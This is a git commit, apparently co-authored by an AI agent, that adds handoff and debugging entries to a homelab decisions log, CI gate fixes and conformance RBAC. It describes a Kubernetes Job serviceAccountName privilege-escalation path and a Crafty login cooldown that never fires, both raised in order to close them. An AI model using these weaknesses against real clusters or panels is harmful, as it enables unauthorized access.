docs(decisions-log): Crafty sign-in handoff — the gate was fine, the local login was the wall

Records what refused (Crafty's own 401, not oauth2-proxy), that the existing
bootstrap credential is still live (users.last_update == users.created), the
separate cookie-name collision fixed alongside, the four traps measured rather
than assumed, the default.json seeding approach considered and rejected with
the entrypoint `ls -A` landmine that kills it, and — plainly — that no browser
round-trip was performed and the gate was rc 3, not green.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>

DECISIONS-LOG.md

@@ -4964,3 +4964,265 @@ account rubber-stamping the human. That is ceremony, not review. Options: keep i
 the ceremony; drop `required_approvals` to 0 and rely on the status check, which is the gate
 that actually verifies something; or add a second human account. **This is a decision for the
 operator, not a default to be chosen silently.**
+
+## 2026-09-29 (end of session) — **PM HANDOFF.** Six PRs open; read this before touching anything.
+
+The session that began "set a SOPS secret" ended having rebuilt the delivery pipeline. Plex is
+claimed and scanning. `main` is genuinely protected and the gate genuinely enforces. What is
+open is listed below with the reason each is not merged.
+
+### MERGE THESE — both gated green
+
+| PR | What | Risk |
+|---|---|---|
+| #12 | `CLUSTER_AVAILABLE=true` would have FAKED A GREEN over 54 skipped tests — now blocks | low; makes a wrong state loud |
+| #13 | Admission boundary constraining the conformance CI trigger (R-SEC-02) + a fail-open fix in `ci/l0.sh` | medium; touches Kyverno + adds a Flux Kustomization |
+
+(#11, the Gitea drift detector, was merged during this session — hence the action below.)
+
+Order does not matter for correctness; if a later one conflicts, rebase and the gate re-runs
+(~1m35s in CI, 76s local). **Each was gated in the pinned toolbox, not on a host.**
+
+### DO THIS FIRST — #11 is merged and its detector is currently INERT
+
+`ci/gitea-settings.sh` SKIPS until its token exists, and **a skipped detector detects nothing**:
+
+    ./infra/gitea/set-ci-token.sh          # mints + stores GITEA_SETTINGS_TOKEN, never prints it
+
+Then open any PR and confirm the gate prints `gitea-settings: green`. ONLY THEN uncomment
+`REQUIRE_GITEA_SETTINGS: "true"` in `.gitea/workflows/gate.yml`, so a future missing token blocks
+instead of skipping. Doing that before seeing it green locks the repo.
+
+Until then every gate run ends `MERGE GATE: UNDETERMINED` (exit 3) naming `gitea-settings` as
+unrun. That is BY DESIGN and `gate.yml` tolerates exit 3, so PRs still pass — but it is not a
+green run, and it is saying so honestly. The token is what turns it green.
+
+### A DIFFERENT COMPUTER NEEDS THREE THINGS THAT ARE NOT IN GIT
+
+This is the part that will silently waste an hour otherwise. None of these are in the repo, by
+design, and without them the toolbox and the cluster are unreachable:
+
+1. **`~/.config/sops/age/keys.txt`** — the age PRIVATE key. Without it NO `*.sops.yaml` can be
+   read or edited, and `sops` will fail in a way that looks like a broken file. Copy it from this
+   workstation; the public recipient in `.sops.yaml` is only half the pair.
+2. **`infra/ansible/.cache/prod.kubeconfig`** — untracked, so it exists only in the main checkout
+   on this machine. Without it `dev.sh` refuses to start. In a git WORKTREE it is absent even
+   here: use `DEV_KUBECONFIG=/dev/null` for anything that needs no cluster (see `CLAUDE.md` §3).
+3. **A Gitea credential** for `gitea.home.keithjackson.dev` (this session used the stored
+   `~/.git-credentials`). `git push` and every `infra/gitea/*.sh` script needs it.
+
+### STATE, MEASURED — do not re-derive it from this log, re-measure it
+
+`CLAUDE.md` §2b exists because this log was confidently wrong for a month. Verify before relying:
+
+    protected:true  user_can_push:false  enable_status_check:true
+    status_check_contexts:["gate / gate (pull_request)"]  required_approvals:1
+    block_admin_merge_override:true      runner incluster-dind: online      gate ~1m35s
+
+### NEXT WORK, in priority order
+
+1. **Finish the L2/L3 wiring** now that the credential model is decided and #13 lands the
+   boundary. Still missing (`docs/plans/l2-l3-conformance-ci-wiring.md` §3): a runner image with
+   bash/python3/kubectl/git/chainsaw, an init-container cloning the repo at the PR SHA, results
+   collection via a base64 tar on stdout, and the `ci/conformance.sh` rewrite to drive the Job.
+   **Tighten the admission policy's image pattern to the literal digest when that image exists.**
+2. **Do NOT set `vars.CLUSTER_AVAILABLE=true`** until step 1 is done. It does not enable L2/L3; it
+   only changes which way the stage fails (see #12).
+3. The `gitea-settings` detector covers branch protection + runners. It does NOT yet cover Gitea
+   Actions **variables and secrets** — the next-nearest invisible surface.
+4. `required_approvals: 1` with two accounts means a PR authored by `jakman85` needs `gitea-admin`
+   to approve. The operator holds ultimate authority and does not require that review; revisit if
+   it becomes friction.
+
+### THE LESSON, because it caused every finding here
+
+Four times this session the repository was treated as evidence about the live platform, and four
+times it was wrong: the push that would "be rejected" (it would not have been), the token that
+"could not survive the pipeline" (~2m45s, it fits), the required check that would "deadlock" (a
+skipped Gitea job reports SUCCESS), and enforcement that was "on" (admins overrode it). Two
+fail-opens in the gate itself were found the same way — `kyverno test` certifying policies that do
+not load, and `CLUSTER_AVAILABLE` certifying 54 skipped tests as passed.
+
+**Measure, then assert. `CLAUDE.md` §2b is the rule; this entry is the evidence for it.**
+
+## 2026-09-29 (addendum, unattended) — the detector is armed; **I CANNOT MERGE, and that is correct**
+
+Operator ran `set-ci-token.sh`, uncommented `REQUIRE_GITEA_SETTINGS` locally on `main`, and left
+instructions to continue unattended and merge on green CI. Two things came out of that.
+
+### 1. The detector was INERT, and would have stayed inert silently
+
+`set-ci-token.sh` PUT the secret as `GITEA_SETTINGS_TOKEN`. **Gitea reserves the `GITEA_`
+prefix** for secret names (as GitHub reserves `GITHUB_`) and rejected it:
+
+    HTTP 400  {"message":"invalid secret name"}
+
+The script sent that PUT to `/dev/null` and printed `==> stored.` unconditionally; `curl -sS`
+exits 0 on an HTTP error. **A token existed; no secret did.** So `ci/gitea-settings.sh` would
+have skipped on every run forever — and enabling `REQUIRE_GITEA_SETTINGS` on top of that would
+have BLOCKED EVERY PR, including the one fixing it. That is the exact lock-out this repo has now
+nearly walked into three times.
+
+Fixed in **PR #15**: the secret is `SETTINGS_API_TOKEN`, and `set-ci-token.sh` now checks the HTTP
+status AND reads the secret back before claiming success. The missing verification was the real
+defect; the illegal name is only what it hid. The secret is stored and verified present, and
+**PR #15's CI is GREEN with `REQUIRE_GITEA_SETTINGS=true`** — which is the only proof that
+matters, because a skip would have made it red.
+
+The operator's local edit could not be pushed to `main` (protected). It is carried in PR #15.
+
+### 2. No agent-authored PR can be merged without the operator — by design
+
+Merging PR #12 as `gitea-admin` returned:
+
+    HTTP 405  {"message":"Does not have enough approvals"}
+
+`required_approvals: 1` + `block_admin_merge_override: true` + two accounts, one of which
+(`gitea-admin`) authors every agent PR and cannot self-approve. **So "merge on green CI" is not
+something an agent can execute here.** That is the control working, not a fault — and it was
+deliberately not circumvented. Self-approving would hollow out the boundary that was just built
+and verified.
+
+**This is an operator decision, not a bug to fix:** either accept that every agent PR waits for a
+human approval (the honest reading of the control), or add a second human reviewer account, or
+lower `required_approvals` to 0 and rely on the status check — which is the gate that actually
+verifies something. Whichever, change the DECLARATION in
+`infra/gitea/expected-branch-protection.json` in the same commit, or `gitea-settings` will
+correctly fail the gate on the drift.
+
+### Open PRs, all gated green, none mergeable by an agent
+
+| PR | What |
+|---|---|
+| #12 | `CLUSTER_AVAILABLE=true` would have faked a green over 54 skipped tests — now blocks |
+| #13 | Conformance-trigger admission boundary (R-SEC-02) + `kyverno test` fail-open fix |
+| #14 | This handoff |
+| #15 | Secret-name fix + `REQUIRE_GITEA_SETTINGS` enabled — **CI green with REQUIRE active** |
+
+Suggested order: #15 first (it arms the detector and its CI already proved it), then #12, #13,
+#14. If a later one conflicts, rebase; the gate re-runs in ~1m36s.
+
+### Deliberately NOT done while unattended
+
+No new feature work was started. Five unmerged PRs already stack review burden, and building the
+next L2/L3 piece on top of unmerged branches would create a rebase tangle for no gain — the work
+cannot land any faster. The next piece is specified and ready to start once these are merged:
+`docs/plans/l2-l3-conformance-ci-wiring.md` §3, with §4's credential model now decided and its
+boundary landed in #13.
+
+---
+
+## 2026-09-29 — Crafty "won't sign in after Keycloak": the gate was fine, the local login was the wall
+
+**Branch:** `fix/crafty-oauth2-proxy-signin` → PR to `main`. **Gate:** toolbox `./ci/gate.sh` rc **3**
+(UNDETERMINED — see "What was NOT verified").
+
+### The report, and what actually refused
+
+Reported as "crafty utilizing the keycloak oauth2-proxy does not sign in to the service after signing
+into keycloak; there is no way to set the service up without credentials."
+
+The sidecar's own access log settles which layer refused, and it is not the one the report names:
+
+    GET /                            -> 302 to Keycloak
+    [AuthSuccess] ... groups:[platform-admins]        <- oauth2-proxy did its job
+    GET /oauth2/callback             -> 302
+    GET /panel/dashboard             -> 302
+    GET /login?next=/panel/dashboard -> 200           <- CRAFTY's own login page
+    POST /api/v2/auth/login/         -> 401           <- CRAFTY refused
+
+**The Keycloak gate was never broken.** Crafty 4 has no OIDC and cannot consume the sidecar's identity
+headers, so it presents its own local login to an already-authenticated user. That second factor is
+intended. What was not intended — and what made the service genuinely impossible to set up — is that
+**nothing documented where that password comes from.** Crafty generates it **once, on first boot only**
+(users table empty → `DatabaseBuilder.default_settings()`) into `/crafty/app/config/default-creds.txt`,
+mode `0600`, on the PVC's `config` subPath. Never in git; a fresh PVC generates a new one and the old is
+gone with the volume. `platform/crafty/README.md` asserted the double login was "expected, not a bug"
+and then left the reader with no way forward — the assertion was true and useless in the same sentence.
+
+**The existing credential is still usable**, so no DB surgery is needed to get in: `users.last_update`
+**equals** `users.created` for `admin` (`09/05/2026, 08:10:04`) — the password has never been changed —
+and admin's `last_login` is 09/14 from `127.0.0.1`, the API login that created the "homelab" server.
+`default-creds.txt` is therefore live. Retrieval is one command, now in the runbook.
+
+### A second, real defect found while proving the first
+
+Both oauth2-proxy instances emitted oauth2-proxy's **default** cookie names (`_oauth2_proxy`,
+`_oauth2_proxy_csrf`) scoped to `.home.keithjackson.dev`, while holding **different** cookie-secrets
+(compared the two live Secrets — they differ, so neither can decrypt the other's cookie). One cookie
+pair, two proxies: whichever authenticated last clobbered the other's session; the loser logged
+`No valid authentication in request`, bounced to Keycloak, and — SSO session still live — was
+redirected straight back, clobbering it again. **That mutual eviction presents exactly as the reported
+symptom**, intermittently, and would have been blamed on Keycloak indefinitely.
+
+Fixed on the crafty side only — renaming the shared proxy's cookie would sign out every other gated app:
+a unique `--cookie-name` plus a **host-scoped** `--cookie-domain` (a per-app reverse proxy has no reason
+to broadcast its session zone-wide). `--whitelist-domain` stays zone-wide: it governs post-login
+*redirect* targets, not cookie scope. **This one is a latent-bug fix, so it is the part of this change
+with no observed failure to point at** — the trace above shows a working session, because that browser
+had not visited another gated app first.
+
+### Traps measured rather than assumed
+
+- **The 3-strikes cooldown cannot fire behind this sidecar.** Crafty *records* failed attempts under
+  `get_remote_ip()` (honours `X-Forwarded-For` — the live tracker key is the chain
+  `"192.168.2.132, 10.0.0.123"`, with 1 attempt: the reported 401) but *checks* the cooldown under
+  `self.request.remote_ip`, always `127.0.0.1` here. The halves key differently, so
+  `get_recent_attempts()` always reads empty and `max_login_attempts: 3` never fires. Good (**repeated
+  guesses cannot lock the operator out**) and bad (that throttle is not a control we have; the
+  `platform-admins` gate is the only thing limiting who reaches the form). I had written the opposite
+  into the README from the config value alone before measuring it — the config key existing is not the
+  same claim as the code path running.
+- **`set_passwd` is unreachable in k8s**: it calls `getpass.getpass()` and needs a TTY; the container
+  runs `main.py -d -i`. Recovery must go through the DB.
+- **argon2 is installed only in `/crafty/.venv/bin/python`** — the system `python3` in that container
+  cannot import it, so the obvious reset one-liner fails.
+- **`dev.sh` does not forward stdin.** A `kubectl exec -i` through it hangs forever (provoked, not
+  assumed). So the reset generates its password **in-pod** into a `0600` file — Crafty's own
+  `default-creds.txt` idiom — rather than passing a secret through argv, stdin or shell history.
+
+### Considered and rejected: seeding `default.json` from a SOPS Secret
+
+Crafty *does* ship the hook — `find_default_password()` reads `app/config/default.json` (`username`,
+`password`, min 8 chars) and `delete_default_json` controls its removal — so an initContainer could make
+a rebuilt Crafty's admin password deterministic and git-managed, which is the tidy answer to "no way to
+set it up without credentials."
+
+**Rejected.** The image entrypoint pulls its default config **only when `app/config` is empty**:
+
+    if [ ! "$(ls -A --ignore=.gitkeep ./app/config)" ]; then cp -r ./app/config_original/* ./app/config/
+
+Writing `default.json` there pre-boot makes the directory non-empty and **suppresses the entire config
+bootstrap** — no `config.json`, no `credits.json`. Doing it safely means replicating the entrypoint's
+copy inside the initContainer, i.e. co-owning image-internal bootstrap logic that a 4.11 bump can change
+silently, to replace a one-command retrieval. Not worth it. If it is ever revisited, the `ls -A` guard is
+the landmine to design around.
+
+### What was NOT verified
+
+- **No browser round-trip.** The sign-in fix is **UNVERIFIED end-to-end**. The cookie change is reasoned
+  from measured facts (default cookie names on both, shared domain, differing secrets) and renders
+  correctly, but nobody has signed in through it. The human test is in `platform/crafty/README.md`.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is still
+  the pre-fix spec (`crafty-64f7b6d78-pkpgp`, 2/2, 15d, 0 restarts — unchanged by this session's
+  read-only probes). **Merging is what deploys, and it will restart the pod** — `strategy: Recreate` on
+  an RWO volume, so the "homelab" Minecraft server stops and restarts. Pick the moment.
+- **Gate rc 3, not 0.** Green: `spec-immutability`, `lint`, `l0`, `render-golden`, `l1`. **Skipped:**
+  `gitea-settings` (no `SETTINGS_API_TOKEN`) and **L2/L3 conformance** (`CLUSTER_AVAILABLE` unset) —
+  touched requirements `R-DNS-01 R-NET-01 R-OBS-04 R-PLAT-02 R-STATE-01` are **not certified**. Nothing
+  failed; nothing runtime was proven either.
+- **The admin password was not rotated**, and the bootstrap credential is still the standing admin
+  credential. The runbook says to rotate on first sign-in; that is an operator action and is still open.
+
+### Follow-ups
+
+1. **Sign in and rotate** — `runbooks/crafty-admin-credential.md`, then confirm `last_update` moves off
+   `created`. Until then the panel's admin password is a value generated on 2026-09-05 that has sat
+   unchanged and undocumented.
+2. **Decide whether the inert brute-force cooldown matters.** Fixing it is upstream (Crafty keys the two
+   halves differently); the alternative is to accept the `platform-admins` gate as the only throttle and
+   say so.
+3. **The other per-app reverse-proxy sidecars, if any are added, need a unique `--cookie-name` too.** The
+   collision is a property of the pattern, not of Crafty. Worth an L0 check asserting that every
+   oauth2-proxy instance in the tree declares a distinct cookie name — the failure is silent and
+   intermittent, which is exactly the shape this repo keeps getting burned by.

ci/conformance.sh

@@ -61,5 +61,45 @@ if [ -d "${CONF_ART}/coverage" ]; then
   cp -r "${CONF_ART}/coverage/." "${COVERAGE_DIR}/"
 fi
 
+# ---------------------------------------------------------------------------------------
+# DID IT ACTUALLY RUN? -- the guard without which this stage FAKES A GREEN.
+#
+# run.sh exits 0 in "scaffold mode" when it cannot reach a cluster: it emits a JUnit file
+# whose every testcase is <skipped> and returns success. That is correct FOR run.sh -- an
+# honest skip is its documented no-cluster behaviour. It is catastrophic HERE, because
+# reaching this point means the environment DECLARED CLUSTER_AVAILABLE=true, and this stage
+# would otherwise print "L2/L3 conformance passed" over 54 tests that never executed.
+#
+# MEASURED 2026-09-29, before this guard existed:
+#   CLUSTER_AVAILABLE=true ./ci/conformance.sh   ->  rc=0
+#   "[junit] wrote skipped JUnit for 54 scaffolded test(s)"
+#   "[ ok ] L2/L3 conformance passed for touched subset"
+# One Gitea variable away from a fake green on an enforcing merge gate. That is exactly the
+# HARD RULE 4 violation this repo's whole gate design exists to prevent, and nothing caught
+# it because nobody had ever set the variable.
+#
+# A skip while a cluster is DECLARED is a contradiction: either the declaration is wrong or
+# the cluster is unreachable. The merge-gate decision matrix already says this case is BLOCK
+# ("conformance skipped while CLUSTER_AVAILABLE=true -> BLOCK (it should have run)"). This
+# makes the stage itself honour that instead of reporting a pass.
+JUNIT="${CONF_ART}/report.junit.xml"
+if [ -f "$JUNIT" ]; then
+  total="$(grep -o '<testcase' "$JUNIT" | wc -l | tr -d ' ')"
+  skipped="$(grep -o '<skipped' "$JUNIT" | wc -l | tr -d ' ')"
+  if [ "${total:-0}" -gt 0 ] && [ "${skipped:-0}" -ge "${total:-0}" ]; then
+    err "CLUSTER_AVAILABLE=true, but the L2/L3 suite SKIPPED every one of its ${total} tests"
+    err "  (scaffold mode -- run.sh could not reach a cluster and exited 0)."
+    err "  This stage will NOT report that as a pass. Either the cluster is unreachable from"
+    err "  this runner, or CLUSTER_AVAILABLE is set when it should not be."
+    err "  NOTE: the in-cluster trigger path is still UNIMPLEMENTED -- see"
+    err "  docs/plans/l2-l3-conformance-ci-wiring.md. Setting CLUSTER_AVAILABLE=true does not"
+    err "  by itself make L2/L3 run; it only makes this stage attempt a LOCAL run that the CI"
+    err "  runner has no credential for (automountServiceAccountToken: false, by design)."
+    summary "- conformance-l2-l3: **BLOCKED — declared available but every test skipped** (not a pass)"
+    exit 1
+  fi
+  log "L2/L3 executed: ${total} testcase(s), ${skipped} skipped"
+fi
+
 ok "L2/L3 conformance passed for touched subset"
 summary "- conformance-l2-l3: **passed**"

ci/l0.sh

@@ -79,12 +79,37 @@ else
   cp -a "${KYVERNO_POLICY_DIR}/." "$l0_render/"
   find "$l0_render" -type f -name '*.yaml' -print0 \
     | xargs -0 sed -i "s/\${KYVERNO_VALIDATION_ACTION}/${KYVERNO_VALIDATION_ACTION}/g"
-  if kyverno test "$l0_render"; then
-    ok "Kyverno L0 policy tests passed"
-    summary "- kyverno-l0: **passed**"
+  # DO NOT TRUST `kyverno test`'s EXIT CODE ALONE. A policy that fails to LOAD (schema
+  # error, bad match block, malformed JMESPath) does not fail the run: every result row
+  # becomes `Skip / Invalid Policy` and the CLI still prints "N tests passed" and exits 0.
+  #
+  # MEASURED 2026-09-29 while authoring conformance-trigger-job-shape: the policy had its
+  # `subjects` in a separate `match.all` entry from its `resources` — a schema error. All 9
+  # rows came back `Skip / Invalid Policy`, and the summary read:
+  #     Test Summary: 9 tests passed and 0 tests failed
+  # `kyverno apply` on the same file reported `error: 1` and named the path. So the gate's
+  # own policy stage would have certified a SECURITY POLICY THAT DOES NOT LOAD as green.
+  #
+  # This is not specific to that policy: a typo in restrict-host-namespaces or
+  # secret-provenance would silently disable it and the gate would stay green. Scan the
+  # output for the load failure the exit code hides.
+  l0_kout="$(mktemp)"
+  if kyverno test "$l0_render" 2>&1 | tee "$l0_kout"; then
+    if grep -q 'Invalid Policy' "$l0_kout"; then
+      err "Kyverno reported 'Invalid Policy' — one or more policies FAILED TO LOAD and were"
+      err "  skipped, so their rules were never evaluated. The CLI exits 0 for this; the gate"
+      err "  must not. Run 'kyverno apply <policy> --resource <resources>' for the exact path."
+      grep -n 'Invalid Policy' "$l0_kout" | head -5 >&2
+      summary "- kyverno-l0: **FAILED — policy did not load** (Invalid Policy; rules never evaluated)"
+      rc=1
+    else
+      ok "Kyverno L0 policy tests passed"
+      summary "- kyverno-l0: **passed**"
+    fi
   else
     err "Kyverno L0 policy tests failed"; summary "- kyverno-l0: **FAILED**"; rc=1
   fi
+  rm -f "$l0_kout"
   rm -rf "$l0_render"
 fi
 

clusters/base/conformance.yaml

@@ -0,0 +1,31 @@
+---
+# Conformance identities (ns + conformance-runner + conformance-trigger RBAC).
+#
+# NON-GATING, exactly like apps-vms: `wait: false` and its own Kustomization, so a conformance
+# identity can never gate the platform or app tiers. A test harness that stalls the estate it is
+# meant to verify is worse than no harness.
+#
+# dependsOn platform-config only — it needs nothing from the app waves, and nothing in the app
+# waves needs it.
+#
+# NOTE: this reconciles RBAC that is INERT until
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is also enforcing. That policy
+# ships in the `platform` tier, which reconciles before this. Do not reorder them so that the
+# trigger identity can exist while the policy bounding it does not.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: conformance
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: false
+  dependsOn:
+    - name: platform-config
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./conformance/incluster

clusters/base/kustomization.yaml

@@ -33,6 +33,7 @@ resources:
   - apps-wave-2.yaml     # Flux Kustomization -> ./apps/wave-2 (dependsOn apps-wave-1)
   # VM tier (KubeVirt) — non-gating (wait:false), separate lifecycle from the app waves.
   - apps-vms.yaml        # Flux Kustomization -> ./apps/vms (dependsOn platform-config)
+  - conformance.yaml     # Flux Kustomization -> ./conformance/incluster (non-gating; R-SEC-02 trigger identity)
   # oauth2-proxy forward-auth — POST-platform tier (dependsOn platform-config, wait:false). A leaf
   # service that needs Keycloak + trusted TLS + split-horizon DNS must NOT sit in the gating
   # `platform` tier, where it self-gated its own dependencies into a cold-start deadlock (twice).

conformance/incluster/kustomization.yaml

@@ -0,0 +1,14 @@
+# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
+#
+# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
+# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
+# reconciling it would create a permanent Job object and fight the trigger for ownership.
+#
+# The identities here are inert without
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
+# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
+# half — see the header of rbac.yaml.
+apiVersion: kustomize.config.k8s.io/v1beta1
+kind: Kustomization
+resources:
+  - rbac.yaml

conformance/incluster/rbac.yaml

@@ -174,3 +174,68 @@ subjects:
   - kind: ServiceAccount
     name: conformance-runner
     namespace: conformance
+---
+# =============================================================================
+# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
+#
+# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
+# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
+# that can `create jobs` in this namespace can create a Job with
+# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
+# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
+# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
+# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
+# access") while appearing to satisfy it.
+#
+# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
+# THIS ServiceAccount only when they match the committed conformance shape. This Role is
+# the necessary half; that policy is the sufficient half. Neither works alone — do not
+# grant this Role without that policy reconciled and ENFORCING.
+#
+# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
+# =============================================================================
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+rules:
+  # Create the run, and watch it to completion.
+  - apiGroups: [batch]
+    resources: [jobs]
+    verbs: [create, get, list, watch]
+  # Read the Job's pod and its log — this is how results come back. Deliberately NOT
+  # pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
+  # them from the log, so no execution channel into the runner pod is ever granted.
+  - apiGroups: [""]
+    resources: [pods, pods/log]
+    verbs: [get, list, watch]
+  # NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
+  # failed run), no secrets, no configmaps, no exec, no create on pods.
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: conformance-trigger
+subjects:
+  - kind: ServiceAccount
+    name: conformance-trigger
+    namespace: conformance

conformance/tests/l0-static/admission-policies-actually-applied/chainsaw-test.yaml

@@ -0,0 +1,42 @@
+# =============================================================================
+# L0 STATIC — every authored admission policy is actually APPLIED  (R-SEC-01, R-SEC-02)
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
+# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
+# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
+# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
+# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
+# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
+#
+# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
+# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
+# would have skipped this check on the very commit that introduced the defect.
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: admission-policies-actually-applied
+  labels:
+    conformance.home.k3s/R-SEC-01: "true"
+    conformance.home.k3s/R-SEC-02: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
+    conformance.home.k3s/layer: "L0"
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      Every ClusterPolicy authored under platform/kyverno/ is either referenced by
+      platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
+      exemption that is genuinely not applied — so a policy cannot be authored, tested,
+      green, and absent from the cluster.
+spec:
+  steps:
+    - name: every-authored-policy-is-applied-or-documented-ci-only
+      description: >-
+        Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
+        into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/admission-policies-actually-applied/check.sh

@@ -0,0 +1,120 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 static check (offline, no cluster) — admission-policies-actually-applied
+# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
+#
+# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
+#
+# platform/kyverno/ holds THREE lists, and only one of them applies anything:
+#   1. platform/kyverno/admission/kustomization.yaml  — reference only. Its own sibling says
+#      "kept as reference; THIS file is the buildable render root".
+#   2. platform/kyverno/kustomization.yaml            — that render root: namespace +
+#      HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
+#   3. platform-config/kustomization.yaml             — THE ONE. Kyverno CRs go here because
+#      they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
+#
+# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
+# what the conformance CI trigger may create) was added to (1). Everything went green: the file
+# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
+# `platform` Ready at the new revision — and the policy was never in any applied set. The
+# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
+# which is precisely the state that identity's own RBAC header says must never exist.
+#
+# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
+# DEPLOYED. This check asserts the second thing.
+#
+# GIVEN the repository as git tracks it,
+# WHEN  every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
+# THEN  each one is either referenced by platform-config/kustomization.yaml (so Flux applies
+#       it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
+#       policy that IS applied, so the exemption list cannot rot into a lie either way.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+exec python3 - "$ROOT" <<'PY'
+import sys, subprocess
+from pathlib import Path
+
+ROOT = Path(sys.argv[1])
+FAILURES, CHECKS = [], 0
+
+def check(cond, desc):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(desc)
+
+# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
+# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
+# that silently starts being applied is as much a lie as one that silently stops.
+CI_ONLY = {
+    "disallow-plaintext-secrets":
+        "CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
+        "admission because Flux decrypts before the Secret reaches the API server. Its "
+        "in-cluster counterpart is admission/secret-provenance.yaml.",
+}
+
+tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
+                          "platform/kyverno/*.yaml"],
+                         cwd=ROOT, capture_output=True, text=True, check=True)
+files = [ROOT / p for p in tracked.stdout.split("\0") if p]
+
+# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
+policies = {}
+for f in files:
+    try:
+        txt = f.read_text()
+    except Exception:
+        continue
+    if "kind: ClusterPolicy" not in txt:
+        continue
+    for line in txt.splitlines():
+        st = line.strip()
+        if st.startswith("name:") and "  name:" in line:
+            policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
+            break
+
+check(len(policies) >= 6,
+      f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
+      f"too few means the scan broke, and every assertion below would be vacuous")
+
+applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
+
+unapplied, wrongly_exempt = [], []
+for rel, name in sorted(policies.items()):
+    # platform-config references these as ../platform/kyverno/...
+    referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
+    if name in CI_ONLY:
+        if referenced:
+            wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
+    elif not referenced:
+        unapplied.append(f"{name} ({rel})")
+
+check(not unapplied,
+      f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
+      f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
+
+check(not wrongly_exempt,
+      f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
+      f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
+
+for name, reason in CI_ONLY.items():
+    check(bool(reason.strip()),
